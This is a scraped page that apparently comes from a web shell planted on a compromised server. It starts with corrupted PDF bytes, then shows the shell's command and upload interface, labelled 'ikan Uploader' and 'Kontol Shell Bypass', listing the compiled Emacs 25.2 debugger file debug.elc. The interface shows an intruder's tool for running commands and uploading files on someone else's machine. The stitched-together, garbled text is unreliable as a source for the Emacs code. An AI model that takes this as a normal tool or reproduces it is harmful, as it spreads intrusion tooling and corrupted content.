%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /usr/share/emacs/25.2/lisp/emacs-lisp/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //usr/share/emacs/25.2/lisp/emacs-lisp/debug.elc
;ELC
;;; Compiled
;;; in Emacs version 25.2.1
;;; with all optimizations.

;;; This file uses dynamic docstrings, first added in Emacs 19.29.

;;; This file does not contain utf-8 non-ASCII characters,
;;; and so can be loaded in Emacs versions earlier than 23.

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


(byte-code "\300\301!\210\302\303\304\305\306\307\310\311&\210\312\313\314\315\316DD\317\320\321\310\303\322\323&	\210\312\324\314\315\325DD\326\320\327\310\303\322\330&	\210\312\331\314\315\332DD\333\320\334\310\303\322\335&	\207" [require button custom-declare-group debugger nil "Debuggers and related commands for Emacs." :prefix "debugger-" :group debug custom-declare-variable debugger-mode-hook funcall function #[0 "\300\207" [nil] 1] "Hooks run when `debugger-mode' is turned on." :type hook :version "20.3" debugger-batch-max-lines #[0 "\300\207" [40] 1] "Maximum lines to show in debugger buffer in a noninteractive Emacs.\nWhen the debugger is entered and Emacs is running in batch mode,\nif the backtrace text has more than this many lines,\nthe middle is discarded, and just the beginning and end are displayed." integer "21.1" debugger-bury-or-kill #[0 "\300\207" [bury] 1] "What to do with the debugger buffer when exiting `debug'.\nThe value affects the behavior of operations on any window\npreviously showing the debugger buffer.\n\nnil means that if its window is not deleted when exiting the\n  debugger, invoking `switch-to-prev-buffer' will usually show\n  the debugger buffer again.\n\n`append' means that if the window is not deleted, the debugger\n  buffer moves to the end of the window's previous buffers so\n  it's less likely that a future invocation of\n  `switch-to-prev-buffer' will switch to it.  Also, it moves the\n  buffer to the end of the frame's buffer list.\n\n`bury' means that if the window is not deleted, its buffer is\n  removed from the window's list of previous buffers.  Also, it\n  moves the buffer to the end of the frame's buffer list.  This\n  value provides the most reliable remedy to not have\n  `switch-to-prev-buffer' switch to the debugger buffer again\n  without killing the buffer.\n\n`kill' means to kill the debugger buffer.\n\nThe value used here is passed to `quit-restore-window'." (choice (const :tag "Keep alive" nil) (const :tag "Append" append) (const :tag "Bury" bury) (const :tag "Kill" kill)) "24.3"] 10)
#@55 Non-nil means "single-step" after the debugger exits.
(defvar debugger-step-after-exit nil (#$ . 2489))
#@64 This is the value for the debugger to return, when it returns.
(defvar debugger-value nil (#$ . 2599))
#@68 This is the buffer that was current when the debugger was entered.
(defvar debugger-old-buffer nil (#$ . 2708))
#@54 This is the window last showing the debugger buffer.
(defvar debugger-previous-window nil (#$ . 2826))
#@57 The last recorded height of `debugger-previous-window'.
(defvar debugger-previous-window-height nil (#$ . 2935))
#@112 The contents of the previous backtrace (including text properties).
This is to optimize `debugger-make-xrefs'.
(defvar debugger-previous-backtrace nil (#$ . 3055))
#@56 Non-nil if we expect to get back in the debugger soon.
(defvar debugger-will-be-back nil (#$ . 3225))
#@50 Non-nil means that `debug-on-entry' is disabled.
(defvar inhibit-debug-on-entry nil (#$ . 3333))
#@180 Non-nil means that `debug-on-entry' is disabled.
This variable is used by `debugger-jump', `debugger-step-through',
and `debugger-reenable' to temporarily disable debug-on-entry.
(defvar debugger-jumping-flag nil (#$ . 3437))
#@352 Arguments with which the debugger was called.
It is a list expected to take the form (CAUSE . REST)
where CAUSE can be:
- debug: called for entry to a flagged function.
- t: called because of debug-on-next-call.
- lambda: same thing but via `funcall'.
- exit: called because of exit of a flagged function.
- error: called because of `debug-on-error'.
(defvar debugger-args nil (#$ . 3670))
(byte-code "\301\211\207" [debugger debug] 2)
#@376 Enter debugger.  \<debugger-mode-map>`\[debugger-continue]' returns from the debugger.
Arguments are mainly for use when this is called from the internals
of the evaluator.

You may call with no args, or you may pass nil as the first arg and
any other args you like.  In that case, the list of args after the
first will be printed into the backtrace buffer.

(fn &rest ARGS)
(defalias 'debug #[128 "\203	\207\n\204\306\307!\210\310\311\312!\205 r\311\312!q\210\313 )D\314\312!p\310C\310\211\211\315 \316 3456\n\310\2117\310\211\317\310\211\211\211\211\211\211\2118\206[\320 \321V\317\211\310\211\322 9:;8<=>	?\n@A\fB
CDEFG\323\321\324\325\326 	%\327\"\330$\216\2126@\331=\203\322\332\333\317\"\210\334\333!A@\242\335=\203\322\332\336\317\"\210\337\340\341H!\205\352\342\343H!!\205\352\344HBD\"\210\345 \240\210H\242=\203I\203#\3461\347\242J\350\242!Z\"0\202\210\202#\210\202#\242H\351 \210\3526!\210\n\203d\353ed\"KV\203Web\210\354K\245y\210`db\210\354K\245KZy\210\211`|\266\355c\210eb\210\306\356\313 \"\210\357\360!\210\306\361!\210\310\317L:\306\361!\210\212\362 \210.\2664M	.\207" [inhibit-redisplay debugger-value noninteractive major-mode debugger-outer-match-data executing-kbd-macro message "Entering debugger..." nil get-buffer "*Backtrace*" buffer-string get-buffer-create match-data with-timeout-suspend t minibuffer-depth 0 current-window-configuration make-byte-code "\306\302\242!\203\307\302\242!\301=\203\310\302\242!\203!\311\304!\210\202<\306\302\242!\203<\307\302\242!\301=\203<\312\302\242\"\210q\210\313\301!\203`r\301q\210\314\315 \210\300\204V\316 \210\202_\300A@c\210\300@ \210*\317\303!\210\320!\207" vconcat vector [debugger-previous-window-height window-live-p window-buffer window-total-height set-window-configuration quit-restore-window buffer-live-p t erase-buffer fundamental-mode with-timeout-unsuspend set-match-data debugger-will-be-back debugger-bury-or-kill debugger-old-buffer inhibit-read-only debugger-outer-match-data] 3 debug backtrace-debug 4 backtrace-frame lambda 5 pop-to-buffer (display-buffer-reuse-window display-buffer-in-previous-window) window-live-p frame-visible-p window-frame previous-window selected-window (error) window-resize window-total-height debugger-mode debugger-setup-buffer count-lines 2 "...\n" "%s" kill-emacs -1 "" recursive-edit debugger-will-be-back debugger-step-after-exit debugger-old-buffer debugger-args overriding-terminal-local-map enable-recursive-minibuffers cursor-in-echo-area standard-output standard-input load-read-function overriding-local-map last-event-frame last-nonmenu-event last-command-event last-input-event unread-post-input-method-events unread-command-events inhibit-trace track-mouse this-command last-command debugger-previous-window debugger-jumping-flag debugger-previous-window-height debugger-batch-max-lines buffer-read-only debug-on-next-call] 41 (#$ . 4114) nil])
#@114 Initialize the `*Backtrace*' buffer for entry to the debugger.
That buffer should be current already.

(fn ARGS)
(defalias 'debugger-setup-buffer #[257 "\306\307 \210\310\311!\210\311p\311\312\313\314 \210,eb\210`\315\316!\210@\317=\203*\320\202+\321y\210`|\210\322c\210`@\211\323>\203F\324c\210`S\262\202\260\211\325=\203m\326c\210`\262A@%\327%p\"\210\330c\210\331\321!\210\332c\210\333 \210\202\260\211\334=\203\206\335c\210`\262\327A@p\"\210\330c\210\202\260\211\311=\203\226\336c\210`S\262\202\260\337c\210`\262\327@\306=\203\251A\202\252p\"\210\330c\210\210\211b\266\212&\211\203\333\340\341\306\311#\203\333\306\210\342\343r@q\210`)\"c\210\211A\266\202\202\270\210)\344 \207" [buffer-read-only buffer-undo-list print-length print-level print-escape-newlines standard-output nil erase-buffer set-buffer-multibyte t 8 50 backtrace search-forward "\n  debug(" debug 3 1 "Debugger entered" (debug lambda) "--entering a function:\n" exit "--returning value: " prin1 10 delete-char 32 beginning-of-line error "--Lisp error: " "--beginning evaluation of function call form:\n" ": " re-search-forward "^  eval-\\(buffer\\|region\\)(" format "  ; Reading at buffer position %d" debugger-make-xrefs debugger-value eval-buffer-list] 6 (#$ . 7140)])
#@95 Attach cross-references to function names in the `*Backtrace*' buffer.

(fn &optional BUFFER)
(defalias 'debugger-make-xrefs #[256 "r\211\206pq\210\212p\262\303ee	\203\202\304\211\303db\210\305\306!r\211q\210\307\310\311\312\313!\314\"\315$\216	c\210\203lo\204l`\262\316y\210`\262rq\210`\262\316y\210`\262)\304\317p\n&)\310U\2041\304\262\2021*\210d|\210db\210	eZ\304Oc\210e}\266eb\210`\315\\b\210\320\321!\210m\204\300`\320\322!\210`\323\324\"!\211\205\246\325\326\"\211\203\270b\210\327\330!\210\331\310\332$\210\266\333y\210\202\205~\210)\266\334 \211*\207" [inhibit-read-only debugger-previous-backtrace case-fold-search t nil generate-new-buffer " *temp*" make-byte-code 0 "\301\300!\205	\302\300!\207" vconcat vector [buffer-name kill-buffer] 2 -1 compare-buffer-substrings skip-syntax-forward "^w_" "w_" intern-soft buffer-substring-no-properties symbol-file defun re-search-forward "\\(\\sw\\|\\s_\\)+" help-xref-button help-function-def 1 buffer-string] 15 (#$ . 8430) "b"])
#@126 Proceed, stepping through subexpressions of this expression.
Enter another debugger on next entry to eval, apply or funcall.
(defalias 'debugger-step-through #[0 "\303\211\303\304\305\306\"\210\307\310!\210\311 \207" [debugger-step-after-exit debugger-jumping-flag debugger-will-be-back t add-hook post-command-hook debugger-reenable message "Proceeding, will debug on next eval or call." exit-recursive-edit] 4 (#$ . 9467) nil])
#@56 Continue, evaluating this expression without stopping.
(defalias 'debugger-continue #[0 "\204\302\303!\210\304\305!\210\212eb\210\306\307\310\311#\203\311)\312 \207" [debugger-may-continue debugger-will-be-back error "Cannot continue" message "Continuing." re-search-forward "^\\* " nil t exit-recursive-edit] 4 (#$ . 9906) nil])
#@166 Continue, specifying value to return.
This is only useful when the value returned from the debugger
will be used, such as in a debug on exit from a frame.

(fn VAL)
(defalias 'debugger-return-value #[257 "@\303>\203\304\305@\304=\203\306\202\307\"\210\211\310\311\312\"\210\313	!\210\212eb\210\314\315\316\312#\2030\312)\317 \207" [debugger-args debugger-value debugger-will-be-back (t lambda error debug) error "Cannot return a value %s" "from an error" "at function entrance" princ "Returning " t prin1 re-search-forward "^\\* " nil exit-recursive-edit] 5 (#$ . 10249) "XReturn value (evaluated): "])
#@70 Continue to exit from this frame, with all debug-on-entry suspended.
(defalias 'debugger-jump #[0 "\302 \210\303\304\305\306\"\210\307\310!\210\303\311 \207" [debugger-jumping-flag debugger-will-be-back debugger-frame t add-hook post-command-hook debugger-reenable message "Continuing through this frame" exit-recursive-edit] 3 (#$ . 10869) nil])
#@142 Turn all debug-on-entry functions back on.
This function is put on `post-command-hook' by `debugger-jump' and
removes itself from that hook.
(defalias 'debugger-reenable #[0 "\301\302\303\304\"\207" [debugger-jumping-flag nil remove-hook post-command-hook debugger-reenable] 3 (#$ . 11225)])
#@96 Return number of frames in backtrace before the one point points at.

(fn &optional SKIP-BASE)
(defalias 'debugger-frame-number #[256 "\212\300 \210\301\302!\203\303\304!\210`\305\2045\306!A@\307=\204%\211T\262\202\306T!A@\310=\2035\311\\\262eb\210\301\312!\203F\305\225b\210\313\314!\210\314y\210\311u\210\315 \203Z\316`\317\"b\210\202kg\320U\203g\313\314!\210\202k\313\311!\210\314y\210`X\203\204\301\321!\203}\314y\210\211T\262\202I\262)\207" [beginning-of-line looking-at " *;;;\\|[a-z]" error "This line is not a function call" 0 backtrace-frame debug debug--implement-debug-on-entry 2 "Debugger entered--\\(Lisp error\\|returning value\\):" forward-sexp 1 debugger--locals-visible-p next-single-char-property-change locals-visible 40 " *;;;"] 6 (#$ . 11524)])
#@112 Request entry to debugger when this frame exits.
Applies to the frame whose line point is on in the backtrace.
(defalias 'debugger-frame #[0 "\301\302 \303\"\210\304 \210g\305U\203\303\306\307!\210\310c\210)\304 \207" [inhibit-read-only backtrace-debug debugger-frame-number t beginning-of-line 32 delete-char 1 42] 3 (#$ . 12321) nil])
#@108 Do not enter debugger when this frame exits.
Applies to the frame whose line point is on in the backtrace.
(defalias 'debugger-frame-clear #[0 "\301\302 \303\"\210\304 \210g\305U\203\306\307\310!\210\311c\210)\304 \207" [inhibit-read-only backtrace-debug debugger-frame-number nil beginning-of-line 42 t delete-char 1 32] 3 (#$ . 12668) nil])
#@52 Run BODY in original environment.

(fn &rest BODY)
(defalias 'debugger-env-macro '(macro . #[128 "\300\301\302\300B\303BBE\207" [progn (set-match-data debugger-outer-match-data) prog1 ((setq debugger-outer-match-data (match-data)))] 6 (#$ . 13020)]))
(function-put 'debugger-env-macro 'lisp-indent-function 0)
#@86 Return the function name that marks the top of the backtrace.
See `backtrace-frame'.
(defalias 'debugger--backtrace-base #[0 "\300\301\302\"A@\303=\203
\303\207\302\207" [backtrace-frame 1 debug debug--implement-debug-on-entry] 3 (#$ . 13337)])
#@175 Eval an expression, in an environment like that outside the debugger.
The environment used is the one when entering the activation frame at point.

(fn EXP &optional NFRAME)
(defalias 'debugger-eval-expression #[513 "\211\206\3011\302\303!T0\202\210\304\305 \306!\210\307#\310\311\"\312!\211\203-\313\311\"\210\210\262\314 \207" [debugger-outer-match-data (error) debugger-frame-number skip-base 0 debugger--backtrace-base set-match-data backtrace-eval prin1 t eval-expression-print-format princ match-data] 10 (#$ . 13590) (byte-code "\300\301!C\207" [read--expression "Eval in stack frame: "] 2)])
#@61 Are the local variables of the current stack frame visible?
(defalias 'debugger--locals-visible-p #[0 "\212\300\301!\210\302`\303\")\207" [move-to-column 2 get-text-property locals-visible] 3 (#$ . 14212)])
#@58 Insert the local variables LOCALS at point.

(fn LOCALS)
(defalias 'debugger--insert-locals #[257 "\211\204\301c\207\302\211\211\205,\211@\211@A\303c\210\304p\"\210\305c\210\304p\"\266A\266\202\202\n\262)\207" [print-escape-newlines "\n    [no locals]" t "\n    " prin1 " = "] 8 (#$ . 14425)])
#@64 For the frame at point, insert locals and add text properties.
(defalias 'debugger--show-locals #[0 "\301\302!T\303 \304\"\305\212\306\307!\210`\310\210\311!\210\312`\313#\262*\207" [inhibit-read-only debugger-frame-number skip-base debugger--backtrace-base backtrace--locals t move-to-column 2 nil debugger--insert-locals add-text-properties (locals-visible t)] 8 (#$ . 14736)])
#@54 Delete local variables and remove the text property.
(defalias 'debugger--hide-locals #[0 "i\301\302!\210\303`\304\"\305\304\"\306\307\310#\210\211b\210\311\210`|\210\301!)\207" [inhibit-read-only move-to-column 2 next-single-char-property-change locals-visible previous-single-char-property-change t remove-text-properties (locals-visible) nil] 7 (#$ . 15129)])
#@58 Show or hide local variables of the current stack frame.
(defalias 'debugger-toggle-locals #[0 "\300 \203\301 \207\302 \207" [debugger--locals-visible-p debugger--hide-locals debugger--show-locals] 1 (#$ . 15505) nil])
(defvar debugger-mode-map (byte-code "\301 \302 \303\"\210\304!\210\305\306\307#\210\305\310\311#\210\305\312\313#\210\305\314\315#\210\305\316\317#\210\305\320\321#\210\305\322\323#\210\305\324\325#\210\305\326\327#\210\305\330\331#\210\305\332\333#\210\305\334\335#\210\305\336\337#\210\305\340\341#\210\305\342\343#\210\305\344\345#\210\305\346\347B#\210\305\350\351#\210\305\352\353#\210\305\354\355#\210\305\356\357#\210\305\360\361#\210\305\362\363#\210\305\364\365#\210\305\366\367#\210\305\370\371#\210\305\372\373#\210\305\374\375#\210\305\376\377#\210\305\201@\201A#\210\305\201B\201C#\210\305\201D\201E#\210\305\201F\201G#\210\207" [button-buffer-map make-keymap make-sparse-keymap set-keymap-parent suppress-keymap define-key "-" negative-argument "b" debugger-frame "c" debugger-continue "j" debugger-jump "r" debugger-return-value "u" debugger-frame-clear "d" debugger-step-through "l" debugger-list-functions "h" describe-mode "q" top-level "e" debugger-eval-expression "v" debugger-toggle-locals " " next-line "R" debugger-record-expression "
" debug-help-follow [mouse-2] push-button [menu-bar debugger] "Debugger" [deb-top] (menu-item "Quit" top-level :help "Quit debugging and return to top level") [deb-s0] ("--") [deb-descr] (menu-item "Describe Debugger Mode" describe-mode :help "Display documentation for debugger-mode") [deb-hfol] (menu-item "Help Follow" debug-help-follow :help "Follow cross-reference") [deb-nxt] (menu-item "Next Line" next-line :help "Move cursor down") [deb-s1] ("--") [deb-lfunc] (menu-item "List debug on entry functions" debugger-list-functions :help "Display a list of all the functions now set to debug on entry") [deb-fclear] (menu-item "Cancel debug frame" debugger-frame-clear :help "Do not enter debugger when this frame exits") [deb-frame] (menu-item "Debug frame" debugger-frame :help "Request entry to debugger when this frame exits") [deb-s2] ("--") [deb-ret] (menu-item "Return value..." debugger-return-value :help "Continue, specifying value to return.") [deb-rec] (menu-item "Display and Record Expression" debugger-record-expression :help "Display a variable's value and record it in `*Backtrace-record*' buffer") [deb-eval] (menu-item "Eval Expression..." debugger-eval-expression :help "Eval an expression, in an environment like that outside the debugger") [deb-jump] (menu-item "Jump" debugger-jump :help "Continue to exit from this frame, with all debug-on-entry suspended") [deb-cont] (menu-item "Continue" debugger-continue :help "Continue, evaluating this expression without stopping") [deb-step] (menu-item "Step through" debugger-step-through :help "Proceed, stepping through subexpressions of this expression")] 7))
(put 'debugger-mode 'mode-class 'special)
#@165 Hook run after entering Debugger mode.
No problems result if this variable is not bound.
`add-hook' automatically binds it.  (This is true for all hook variables.)
(defvar debugger-mode-hook nil (#$ . 18513))
(byte-code "\300\301!\204\f\302\301\303\304#\210\300\207" [boundp debugger-mode-map put definition-name debugger-mode] 4)
(defvar debugger-mode-map (make-sparse-keymap))
(byte-code "\300\301N\204\302\300\301\303\304!#\210\305\306!\204\302\306\307\310#\210\300\207" [debugger-mode-map variable-documentation put purecopy "Keymap for `debugger-mode'." boundp debugger-mode-syntax-table definition-name debugger-mode] 5)
(defvar debugger-mode-syntax-table (make-syntax-table))
(byte-code "\300\301N\204\302\300\301\303\304!#\210\302\305\306\307#\207" [debugger-mode-syntax-table variable-documentation put purecopy "Syntax table for `debugger-mode'." debugger-mode-abbrev-table definition-name debugger-mode] 5)
(defvar debugger-mode-abbrev-table (progn (define-abbrev-table 'debugger-mode-abbrev-table nil) debugger-mode-abbrev-table))
(byte-code "\300\301N\204\302\300\301\303\304!#\210\302\305\306\307#\207" [debugger-mode-abbrev-table variable-documentation put purecopy "Abbrev table for `debugger-mode'." debugger-mode derived-mode-parent nil] 5)
#@610 Mode for backtrace buffers, selected in debugger.
\<debugger-mode-map>
A line starts with `*' if exiting that frame will call the debugger.
Type \[debugger-frame] or \[debugger-frame-clear] to set or remove the `*'.

When in debugger due to frame being exited,
use the \[debugger-return-value] command to override the value
being returned from that frame.

Use \[debug-on-entry] and \[cancel-debug-on-entry] to control
which functions will enter the debugger when called.

Complete list of commands:
\{debugger-mode-map}

This mode runs the hook `debugger-mode-hook', as the final step
during initialization.
(defalias 'debugger-mode #[0 "\306\300!\210\307\310 \210\311\312\313!\210\314\f!\210
\307\314!\210\313!\210)\315\316!\207" [delay-mode-hooks major-mode mode-name debugger-mode-map debugger-mode-syntax-table debugger-mode-abbrev-table make-local-variable t kill-all-local-variables debugger-mode "Debugger" use-local-map set-syntax-table run-mode-hooks debugger-mode-hook local-abbrev-table truncate-lines emacs-lisp-mode-syntax-table] 2 (#$ . 19788) nil])
(byte-code "\300\301\302\303\304DD\305\306\307\310\311\312\313&	\207" [custom-declare-variable debugger-record-buffer funcall function #[0 "\300\207" [#1="*Debugger-record*"] 1 #1#] "Buffer name for expression values, for \\[debugger-record-expression]." :type string :group debugger :version "20.3"] 10)
#@84 Display a variable's value and record it in `*Backtrace-record*' buffer.

(fn EXP)
(defalias 'debugger-record-expression #[257 "\302!\211\303\304\305\"!\210\303\306!!\210\307 \210)\210r\310!q\210\311\312\313\314!\315\314!{\")\207" [debugger-record-buffer standard-output get-buffer-create princ format "Debugger Eval (%s): " debugger-eval-expression terpri get-buffer message "%s" line-beginning-position 0 line-end-position] 6 (#$ . 21175) (byte-code "\300\301!C\207" [read--expression "Record Eval: "] 2)])
#@129 Follow cross-reference at POS, defaulting to point.

For the cross-reference format, see `help-make-xrefs'.

(fn &optional POS)
(defalias 'debug-help-follow #[256 "\211\204`\262\300!?\2057\301\212b\210\302\303!\210`\304\303!\210`{)!\305!\2042\306!\2042\307!\2055\310!\262\207" [push-button intern skip-syntax-backward "w_" skip-syntax-forward boundp fboundp facep describe-symbol] 5 (#$ . 21696) "d"])
#@147 Conditionally call the debugger.
A call to this function is inserted by `debug-on-entry' to cause
functions to break on entry.

(fn &rest IGNORE)
(defalias 'debug--implement-debug-on-entry #[128 "\206	?\205\303\n\304!)\207" [inhibit-debug-on-entry debugger-jumping-flag debugger t debug] 3 (#$ . 22119)])
#@667 Request FUNCTION to invoke debugger each time it is called.

When called interactively, prompt for FUNCTION in the minibuffer.

This works by modifying the definition of FUNCTION.  If you tell the
debugger to continue, FUNCTION's execution proceeds.  If FUNCTION is a
normal function or a macro written in Lisp, you can also step through
its execution.  FUNCTION can also be a primitive that is not a special
form, in which case stepping is not possible.  Break-on-entry for
primitive functions only works when that function is called from Lisp.

Use \[cancel-debug-on-entry] to cancel the effect of this command.
Redefining FUNCTION also cancels it.

(fn FUNCTION)
(defalias 'debug-on-entry #[257 "\300\301\302\303$\210\207" [advice-add :before debug--implement-debug-on-entry ((depth . -100))] 6 (#$ . 22437) (byte-code "\301 \302\303!\203\f\302\262\304\203\305\306\"\202\307\310\311\302\211\312	!&\262\211\313\232\2030\2023\314!C\207" [obarray function-called-at-point nil special-form-p completing-read format "Debug on entry to function (default %s): " "Debug on entry to function: " #[257 "\300!\205\n\301!?\207" [fboundp special-form-p] 3 "\n\n(fn SYMBOL)"] t symbol-name "" intern] 11)])
#@53 List of functions currently set for debug on entry.
(defalias 'debug--function-list #[0 "\300C\301\302\303\304\305\306!\307\"\310\311%!\210\211\242\207" [nil mapatoms make-byte-code 257 "\301\302\"\205
\300\300\242B\240\207" vconcat vector [advice-member-p debug--implement-debug-on-entry] 4 "\n\n(fn S)"] 8 (#$ . 23660)])
#@271 Undo effect of \[debug-on-entry] on FUNCTION.
If FUNCTION is nil, cancel debug-on-entry for all functions.
When called interactively, prompt for FUNCTION in the minibuffer.
To specify a nil argument interactively, exit with an empty minibuffer.

(fn &optional FUNCTION)
(defalias 'cancel-debug-on-entry #[256 "\211\203\n\300\301\"\210\207\302\303!\210\304\305\306 \"\207" [advice-remove debug--implement-debug-on-entry message "Canceling debug-on-entry for all functions" mapcar cancel-debug-on-entry debug--function-list] 4 (#$ . 23995) (byte-code "\300\301\302\303\304 \"\305\306$\211\205\211\307\230?\205\310!\262C\207" [completing-read "Cancel debug on entry to function (default all functions): " mapcar symbol-name debug--function-list nil t "" intern] 5)])
#@64 Display a list of all the functions now set to debug on entry.
(defalias 'debugger-list-functions #[0 "\306\307!\210\310\311\312\313!\"\210r\314\315 !q\210p\316 \210\317\211\320\211\320\321 \210\322\323!\210+\211!r!q\210\324 \211\204?\325\326!\202o\325\327!\210\211\211\203d\211@\330`\331!\210`\332\333\334C&\210\335 \210A\266\202\202D\210\335 \210\325\336!\210\325\337!\262)\340!\210)\207" [default-directory buffer-read-only buffer-file-name buffer-undo-list inhibit-modification-hooks inhibit-read-only require help-mode help-setup-xref (debugger-list-functions) called-interactively-p interactive get-buffer-create help-buffer kill-all-local-variables nil t erase-buffer run-hooks temp-buffer-setup-hook debug--function-list princ "No debug-on-entry functions now\n" "Functions set to debug on entry:\n\n" make-text-button prin1 type help-function help-args terpri "Note: if you have redefined a function, then it may no longer\n" "be set to debug on entry, even if it is in the list." internal-temp-output-buffer-show standard-output] 13 (#$ . 24773) nil])
(provide 'debug)

Kontol Shell Bypass